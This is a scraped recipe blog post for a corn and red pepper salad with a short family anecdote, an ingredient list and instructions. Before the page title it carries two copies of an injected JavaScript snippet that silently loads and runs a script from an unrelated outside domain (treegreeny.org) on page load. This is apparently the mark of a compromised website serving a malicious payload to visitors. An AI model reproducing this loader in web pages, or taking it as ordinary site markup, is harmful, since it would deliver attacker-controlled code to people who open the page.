;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); CORN SALAD - Always Two Fabulous
RECIPES

CORN SALAD

December 4, 2011
My parents invited a few family members
over to grill some filet mignon on Friday.
I wanted to contribute, so I made 3
great dishes that were delicious!
My favorite was the corn & red pepper salad-

It was so refreshing and had a nice crisp
bite to it, definitely a must try!
It’s like summer all over again!
DSC_0003
DSC_0006
DSC_0007
DSC_0009
Corn Salad
My absolute favorite corn salad. Great as a side and for on top of burgers.
Write a review
Print
Ingredients
  1. 6 cans of corn
  2. 1 red bell pepper
  3. 4 stalks of celery
  4. 1/2 red onion
  5. 1/3 cup olive oil
  6. 1 1/2 TBS apple cider vinegar
  7. 1/2 tsp sugar
  8. 1/4 tsp cayenne pepper
  9. 1/4 tsp tabasco
  10. salt and pepper to taste
Instructions
  1. Drain cans of corn into a bowl. Dice all vegetables to size of corn and toss to combine. Mix all dressing ingredients together and pour on top of salad. Best if made the day before so all the juices can soak together!
Adapted from Whisk
Adapted from Whisk
Always Two Fabulous https://alwaystwofabulous.com/
 

You Might Also Like